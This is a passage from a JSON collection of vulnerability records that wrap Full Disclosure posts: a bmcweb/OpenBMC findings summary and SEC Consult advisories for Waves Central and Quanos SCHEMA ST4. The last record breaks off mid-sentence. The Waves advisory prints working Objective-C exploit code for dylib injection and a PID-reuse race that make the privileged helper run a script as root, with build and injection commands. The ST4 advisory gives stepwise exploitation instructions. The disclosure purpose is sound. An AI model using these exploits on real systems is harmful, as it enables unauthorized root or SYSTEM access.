          "url": "https://www.revive-adserver.com/security/"
        },
        {
          "url": "https://www.revive-adserver.com/security/revive-sa-2026-003"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[REVIVE-SA-2026-003] Revive Adserver Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-50739",
              "type": "related"
            },
            {
              "destId": "CVE-2026-50740",
              "type": "related"
            },
            {
              "destId": "CVE-2026-50741",
              "type": "related"
            },
            {
              "destId": "CVE-2026-50742",
              "type": "related"
            },
            {
              "destId": "CVE-2026-50743",
              "type": "related"
            },
            {
              "destId": "CVE-2026-50744",
              "type": "related"
            },
            {
              "destId": "CVE-2026-50745",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0363",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/19",
            "automated": true,
            "contentSha256": "c5bcb5ce1b70d5aea4ade5341e47213742f349f29dea887b1d4dc890d0f3bbce",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-07T07:20:11Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0363"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0363"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "bmcweb OpenBMC web",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "binreaper via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi all,\n\nPosting a brief summary of a four-finding disclosure on bmcweb (the OpenBMC HTTP/Redfish web server), which ships in \nBMC firmware on most modern enterprise servers \u2014 Intel, IBM, HPE, NVIDIA, and various ODMs.\n\nFull timeline and analysis on the blog:\n\n  https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/\n\n## Why bmcweb matters\n\nA Baseboard Management Controller boots before the host CPU, has full control over the server (power, firmware, \nconsole, in some configurations DMA), and is reachable from the management network. bmcweb is OpenBMC\u0027s HTTP front door \n\u2014 Redfish API, web UI, KVM/console WebSocket. C++23 on Boost.Beast, single-threaded async, supports HTTP/1.1 and HTTP/2.\n\nThe single-threaded design means any blocking operation, large allocation, or event-loop stall takes the entire \nmanagement interface offline.\n\n## The four findings\n\nAll reported 2026-02-23 to openbmc-security () lists ozlabs org.\n\n| ID | Title | CVSS | Status |\n|----|-------|------|--------|\n| CONN-F2 | `Expect: 100-continue` bypasses body_limit (pre-auth OOM) | 7.5 | FIXED \u2014 commit `0b2049b0` (2026-04-21), \nGHSA-p3gc-68x5-g9w3 |\n| H2-F2 | HTTP/2 `Content-Length` trusted for `std::string::reserve()` (instant OOM) | 7.5 | FIXED \u2014 commit `62526bb0` \n(2026-04-21), silent (no advisory) |\n| H2-F1 | HTTP/2 no body_limit per stream (pre-auth OOM via streamed DATA frames) | 7.5 | UNFIXED \u2014 Gerrit 90580 today |\n| AUTH-F6 | mTLS UPN suffix matching authenticates parent-domain / TLD-only certs | 6.8 | UNFIXED \u2014 Gerrit 90581 today |\n\n## Three things worth flagging to this audience\n\n1. **GHSA-p3gc-68x5-g9w3 has no CVE attached** (`cve_id: null`). It is not in NVD, OSV, the GitHub global Advisory \nDatabase, or any distro security tracker that I checked. From a downstream-propagation perspective, the GHSA exists \nonly on the bmcweb security tab. The upstream maintainer\u0027s 2026-05-14 reply: \"As far as I\u0027m aware, there will be no CVE \nassigned for this.\"\n\n2. **One of two coordinated 2026-04-21 patches got an advisory; the other didn\u0027t.** CONN-F2 (the HTTP/1.1 bug) got \nGHSA-p3gc. H2-F2 (the HTTP/2 sibling, same severity band, fix landed in the same minute) got no advisory at all. Anyone \napplying bmcweb 3.0.0 because of the published advisory gets the H2-F2 fix as a side effect but doesn\u0027t know it.\n\n3. **Intel firmware containing the unpatched binary is still on Intel\u0027s Download Center.** M50FCP BMC 2.94-0 (Download \nCenter ID 775817), dated January 2026, predates the upstream fix. I submitted CONN-F2 to Intel\u0027s bug bounty program \n(Intigriti); triage accepted the scope, then closed out-of-scope under an \"open-source projects we contribute to\" \nclause five hours later, despite the submission being explicitly about the vendor-distributed binary.\n\n## H2-F1 (unfixed, posted today)\n\nbmcweb\u0027s HTTP/1.1 path inherits its body limit from Boost.Beast\u0027s parser; the HTTP/2 path does not. \n`HttpBody::reader::put()` in `http/http_body.hpp` appends incoming DATA-frame bytes to `value.str()` (a `std::string`) \nwith no size check. Authentication runs in `onRequestRecv()` on END_STREAM \u2014 i.e., after the full body has been \nreceived and buffered. nghttp2 auto-replenishes flow-control windows by default; bmcweb does not set \n`nghttp2_option_set_no_auto_window_update`.\n\nResult: any client that can complete the TLS handshake (ALPN h2 is the default protocol path) can stream unlimited DATA \nframes before authentication is ever attempted. The single-threaded event loop dies from OOM.\n\nSuggested fix in Gerrit 90580 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580): per-stream byte counter on \n`HttpBody::reader`, bound at the existing `BMCWEB_HTTP_BODY_LIMIT` (30 MiB by default).\n\n## AUTH-F6 (unfixed, posted today)\n\n`isUPNMatch()` in `http/mutual_tls.cpp` performs domain suffix matching when validating mTLS client certificates in \nUserPrincipalName mode. The algorithm walks dot-separated labels right-to-left and returns true once the UPN domain \nruns out of labels, regardless of how many hostname labels remain. The project\u0027s own existing unit test asserted the \nconsequence as expected behaviour:\n\n  EXPECT_TRUE(isUPNMatch(\"user@com\", \"hostname.region.domain.com\"));\n\nA certificate with a UPN that is just a TLD authenticates any BMC in that TLD; a parent-domain certificate \nauthenticates any nested BMC. CVSS 6.8 because UPN mode is opt-in (default is CommonName) and requires a CA-signed \nclient cert with the broad UPN.\n\nSuggested fix in Gerrit 90581 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581): replace the walk with exact-match \nplus one-label-prefix tolerance (preserves `user () domain com` matching `bmc-01.domain.com`; rejects deeper nesting).\n\n## Disclosure status\n\nMaintainer-side track is closed per Ed Tanous\u0027s 2026-05-14 reply (\"This bug is no longer embargoed, and the fix is on \nmaster. There\u0027s no longer a reason to send direct messages to the security responders. If you believe further action is \nneeded, please use the normal project communication channels.\"). Earlier today the H2-F1 and AUTH-F6 disclosures went \nto openbmc () lists ozlabs org with their respective Gerrit changes. This Full Disclosure post is the broader-audience \nsignal.\n\nReproducers exist for CONN-F2 and H2-F1 (Python; pocs/bmcweb/ in my files). I am not attaching them; happy to share \nwith downstream vendor PSIRTs or fork maintainers on request.\n\nBest regards,\nbinreaper\nbobdabot () proton me\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/24"
        },
        {
          "url": "https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/"
        },
        {
          "url": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580"
        },
        {
          "url": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "bmcweb (OpenBMC web server): four vulnerabilities \u2014 two unfixed, GHSA without a CVE",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0375",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/24",
            "automated": true,
            "contentSha256": "6852b448e7d72ea2ff80ff82586b29e359572243987e20550b5e76b62591f199",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-27T10:32:42Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0375"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Audio - Waves Central",
          "vendor": "Waves",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260609-0 \u003e\n=======================================================================\n              title: Multiple Local Privilege Escalation Vulnerabilities\n            product: Waves Audio - Waves Central\n vulnerable version: v13.0.8 - v16.6.0\n\u00a0 \u00a0 \u00a0 fixed version: v16.6.2\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-24064, CVE-2026-24065\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.waves.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-07\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Waves is the world\u2019s leading developer of audio plugins and signal processors\nfor the professional and consumer electronics audio markets. Heard on hit\nrecords, major motion pictures, and popular video games worldwide, Waves\u2019\ncutting-edge software and hardware processors are used in every aspect of\naudio production, from tracking to mixing to mastering, broadcast, live sound,\nand more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,\nand AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts.\"\n\nSource:https://www.waves.com/about-us\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nWaves Central provides a \"PrivilegedHelperTool\" during installation.\nIt uses the \"InstlHelperApplication\" located at the following path\nto connect to the privileged helper tool via XPC:\n/Applications/Waves\\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/\n\nIt was found that the \"InstlHelperApplication\" was signed with the\nentitlements \"com.apple.security.cs.allow-dyld-environment-variables\" and\n\"com.apple.security.cs.disable-library-validation\" which together allow to inject\nunsigned libraries into the process and therefore inheriting the code signature.\n\n----------------------------------------------------------------------\n% codesign -dvv --entitlements -  /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nExecutable=/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nIdentifier=com.waves.central.InstlHelperApplication\nFormat=app bundle with Mach-O universal (x86_64 arm64)\nCodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded\nSignature size=8956\nAuthority=Developer ID Application: Waves Inc (GT6E3XD798)\nAuthority=Developer ID Certification Authority\nAuthority=Apple Root CA\nTimestamp=12.02.2023 at 19:37:53\nInfo.plist entries=32\nTeamIdentifier=GT6E3XD798\nRuntime Version=11.1.0\nSealed Resources version=2 rules=13 files=5\nInternal requirements count=1 size=200\n[Dict]\n        [Key] com.apple.security.inherit\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.client\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.server\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.app-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-library-validation\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.document-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.user-selected.read-write\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.personal-information.addressbook\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-dyld-environment-variables\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-unsigned-executable-memory\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-executable-page-protection\n        [Value]\n                [Bool] true\n----------------------------------------------------------------------\nBy inheriting the code signature an attacker, who injects a malicious\nlibrary into the application, is able to abuse the signature of the\nInstlHelperApplication to connect to the privileged helper tool via\nits exposed mach service \"com.waves.central.InstlHelper\".\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nIt was found that the XPC service \"com.waves.central.InstlHelper\", offered\nby the privileged helper, uses the connecting client\u0027s PID to check its\ncode signature. This is insecure and can be attacked using a PID reuse\nattack, which will trick the service into thinking the connecting client\nhas a valid code signature.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nThe attacker can abuse the function \"executeIrlFileWithPath\" offered by\nthe privileged helper to get code execution as root.\nTo demonstrate this the following dynamic library has been developed.\nAfter loading the library, \"executeIrlFileWithPath\" is triggered\nto execute /tmp/lol which is basically a shell script:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n//gcc -dynamiclib name\n#include \u003cstdio.h\u003e\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n\n//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: \n(__C.NSNumber) -\u003e ()) -\u003e ()\n\n@end\n\n__attribute__((constructor))\nstatic void myconstructor(int argc, const char **argv)\n{\n        \n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n        [[NSRunLoop currentRunLoop] run];\n\n----------------------------------------------------------------------\n\nThis code can be compiled using the following command:\nclang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm\n\nAfter loading the library, /tmp/lol is created as described above:\ncat /tmp/lol\n/bin/bash -c \"touch /etc/pwnedbytmp\"\n\nIt can then be loaded into the injectable XPC client InstlHelperApplication:\n\nDYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nTo exploit this issue an attacker can abuse the insecure client validation via\nPID to gain access to the corresponding NSXPC functions via XPC.\nThe \"executeIrlFileWithPath\" function can be exploited to gain code execution\nas root. The following Objective C PoC code was created:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n#include \u003cspawn.h\u003e\n#include \u003csys/stat.h\u003e\n\n#define RACE_COUNT 32\n#define BINARY \"/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\"\n\n// allow fork() between exec()\nasm(\".section __DATA,__objc_fork_ok\\n\"\n\"empty:\\n\"\n\".no_dead_strip empty\\n\");\n\nextern char **environ;\n\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n@end\n\nvoid child() {\n\n    // send the XPC messages\n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n\n    char target_binary[] = BINARY;\n    char *target_argv[] = {target_binary, NULL};\n    posix_spawnattr_t attr;\n    posix_spawnattr_init(\u0026attr);\n    short flags;\n    posix_spawnattr_getflags(\u0026attr, \u0026flags);\n    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);\n    posix_spawnattr_setflags(\u0026attr, flags);\n    posix_spawn(NULL, target_binary, NULL, \u0026attr, target_argv, environ);\n}\n\nbool create_nstasks() {\n\n    NSString *exec = [[NSBundle mainBundle] executablePath];\n    NSTask *processes[RACE_COUNT];\n\n    for (int i = 0; i \u003c RACE_COUNT; i++) {\n        processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @\"imanstask\" ]];\n    }\n\n    int i = 0;\n    struct timespec ts = {\n        .tv_sec = 0,\n        .tv_nsec = 500 * 1000000,\n    };\n\n    nanosleep(\u0026ts, NULL);\n    if (++i \u003e 4) {\n        for (int i = 0; i \u003c RACE_COUNT; i++) {\n            [processes[i] terminate];\n        }\n        return false;\n    }\n\n    return true;\n}\n\nint main(int argc, const char * argv[]) {\n\n    if(argc \u003e 1) {\n    // called from the NSTasks\n        child();\n\n    } else {\n        NSLog(@\"Starting the race\");\n        create_nstasks();\n    }\n\n    return 0;\n}\n----------------------------------------------------------------------\n\nThis can be compiled using gcc with the following command:\ngcc -o exploit_waves_pid -framework Foundation exploit_pid.m\n\nAfter creating the file /tmp/lol accordingly the binary can be run and the\nhelper will execute /tmp/lol as root.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 16.1.6.244088\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us\n2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted\n            communication as well as dedicated security email address.\n2026-01-27: Asking for the encryption details.\n2026-01-28: Vendor provides PGP key.\n2026-01-29: Submitting encrypted advisory to vendor.\n2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted\n            upon request.\n2026-02-18: Ven"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:30:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/6"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.waves.com"
        },
        {
          "url": "https://www.waves.com/about-us"
        },
        {
          "url": "https://www.waves.com/contact-us"
        },
        {
          "url": "https://www.waves.com/downloads/central"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260609-0 :: Multiple Local Privilege Escalation Vulnerabilities in Waves Audio - Waves Central",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24064",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24065",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0364",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6",
            "automated": true,
            "contentSha256": "a7eb0019ad78c21843df53cc6f5258f488de744f24b3dfb2adbfac8a6c798f2d",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-09T06:50:33Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0364"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:30:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0364"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Content Solutions - SCHEMA ST4",
          "vendor": "Quanos",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260617-1 \u003e\n=======================================================================\n              title: Multiple Vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Quanos Content Solutions - SCHEMA ST4\n\u00a0vulnerable version: All versions of SCHEMA ST4 on-premises\n  \u00a0 \u00a0 fixed version: Not applicable, see workaround section for mitigation.\n         CVE number: CVE-2026-11857, CVE-2026-11858\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://quanos.com/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-12-19\n                 by: J. Kruchem (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"SCHEMA ST4 is a component content management system for the professional\ncreation of technical documentation. SCHEMA ST4 is one of the most widely\nused software solutions of its type and makes the entire creation process\neasier and more efficient, saving costs in many areas.\"\n\nSource:https://quanos.com/en/products/schema-st4/\n\n\nBusiness recommendation:\n------------------------\nThe vendor does not provide a patch but a workaround which requires\ntheir customers to disable the affected \"Client Update Service\". Updating\nthe client is then only possible manually with a privileged user account.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) .NET Remoting Local Privilege Escalation Vulnerability (CVE-2026-11857)\nA local privilege escalation vulnerability exists in SCHEMA ST4 due to insecure\ndeserialization in the .NET Remoting service.\n\nThe service is configured with TypeFilterLevel.Full and bound to local interfaces\nonly (named pipes), allowing a local authenticated attacker to send specially crafted\nobjects. This leads to arbitrary code execution in the context of the update process\nwith the highest SYSTEM rights. Local host access with an authenticated user session\nis required for successful exploitation. Network-only exploitation is not possible.\n\n2) Arbitrary File Overwrite Vulnerability (CVE-2026-11858)\nThe SCHEMA ST4 Update Service acts as a privileged helper component running as\nNT Authority\\SYSTEM to perform file operations requiring elevated rights.\n\nHowever, it exposes a .NET Remoting interface over a Named Pipe without sufficient\naccess controls or authentication. This allows any local low-privileged user to\nconnect and invoke methods like Update(), resulting in arbitrary file\nwrite/delete operations with SYSTEM privileges. This ultimately leads to local\nprivilege escalation.\n\n\nProof of concept:\n-----------------\nThe following steps can be taken in order to exploit the identified security issue\nin the updater service.\n\n1) .NET Remoting Local Privilege Escalation Vulnerability (CVE-2026-11857)\n1.1) Connect to Name Pipe\nInvoking NamedPipe.ConnectToPipe(\"ST4Updater2\") and sending pipe.Write(\"init\")\nreturns a port which is used for .NET Remoting. Only local exploitation is\npossible.\n\n1.2) Send .NET Remoting payload\nUse the ExploitRemotingService by James Forshaw (https://github.com/tyranid/ExploitRemotingService)\nto achieve arbitrary code execution.\n\n\n2) Arbitrary File Overwrite Vulnerability (CVE-2026-11858)\n2.1) Connect to Named Pipe\nInvoking NamedPipe.ConnectToPipe(\"ST4Updater2\") and sending pipe.Write(\"init\")\nreturns a port which is used for .NET Remoting.\n\n2.2) Get .NET Remoting Object\nGet remote object tcp://127.0.0.1:\u003cport\u003e/UpdateProcessCore\n\n2.3) Create Manifest\nAn essential part of the exploit is creating a Manifest.rdf containing e.g.\nDirectory \".\" and file exploit.exe:\u003csomething like md5\u003e (is not checked).\nThe Manifest needs to be zlib-compressed and be served via HTTP.\n\n2.4) Create Payload\nCreate a zlib-compressed file (e.g. .exe, .msi, .dll, ...) name it to\nyour choosing like \u003ce.g. md5\u003e and put it into the HTTP root (like\nthe Manifest).\n\n2.5) Invoke Update() from remote .NET object\nUse the object from 2.2) and provide proper arguments.\nUse \"Newer\" for writing files as system (same name will be deleted beforehands)\nUse \"Remove\" for deleting files and/or directories (depending on Manifest)\n\nExample:\n[ Proof of Concept example removed ]\n\n2.6) Privilege Escalation\nTo achieve privilege escalation e.g. write a custom HID.dll using the exploit to\nC:\\Program Files\\Common Files\\microsoft shared\\ink\\ then open the Microsoft\non-screen keyboard in a security context (e.g. CTRL + ALT + ENTF). The custom\ncommands are executed with SYSTEM privileges.\n\n[ ST4Updater.png ]\nFigure 1: Proof of concept\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested:\n* 12.0.4.0 ST4 2022 SP4 (1d4a0bde) ??? SCHEMA ST4 12.4 build 2023.02.21-1d4a0bde\n\nAccording to the vendor, all versions of SCHEMA ST4 on-premises are affected.\nThe Cloud/SaaS deployments of SCHEMA ST4 are not affected. The Client Update\nService has been removed in the cloud architecture according to the vendor.\n\n\nVendor contact timeline:\n------------------------\n2025-12-19: Contacting vendor throughinfo () quanos com; no response\n2026-01-13: Contacting CISO through LinkedIn. Response after 1 Minute (at 7 pm).\n2026-01-14: Sending more details via email tosecurity () quanos com;\n            Vendor answers that they will analyze our information and will get\n            back to us.\n            Asking the vendor how we should submit our security advisory.\n2026-01-22: Vendor responds that the architecture of ST4 is by design and only\n            exploitable within the on premises version of ST4 (not cloud/SaaS).\n            Provides a workaround to disable the client update service.\n2026-01-23: Updating our advisory regarding workaround, recommending to patch\n            the issue, as also .NET remoting can be exploited. Asking whether\n            the on premises version is EOL.\n2026-01-28: Vendor responds to clarify our questions internally.\n2026-02-09: Asking for a status update.\n2026-02-10: Vendor is still waiting for an internal response.\n2026-03-05: Asking for a status update.\n2026-03-10: Vendor is still in internal clarification process.\n2026-03-20: Vendor provides detailed explanation regarding \"Client Update \"Service\",\n            which already got removed in the Cloud/SaaS solution, on-premises exploitation\n            is impossible in properly managed environments according to the vendor.\n            As a workaround, the Update Service should be disabled. The .NET Remoting\n            part only communicates in a closed VPC network within the Cloud solution.\n            An attacker already needs LAN access for the on-premises version and exploitation\n            is therefore limited according to the vendor. Vendor suggests to include\n            their assessment of the case in our advisory.\n2026-03-20: Response to the vendor that the attack path for the \"Client Update Service\"\n            is to escalate privileges from a low-privileged user to admin. In order to\n            exploit .NET Remoting, host access is also required. Asking for affected\n            versions and whether no update will be provided except the workaround.\n2026-04-08: Vendor responds with affected versions and details on workaround\n            implications for end users\n2026-06-10: Informing vendor about upcoming release for 16th June, providing reserved\n            CVE numbers.\n2026-06-12: Vendor responds that they will provide feedback on 15th June.\n2026-06-15: Asking the vendor regarding the feedback, as we did not receive it (late\n            afternoon). Vendor responds that they are still working 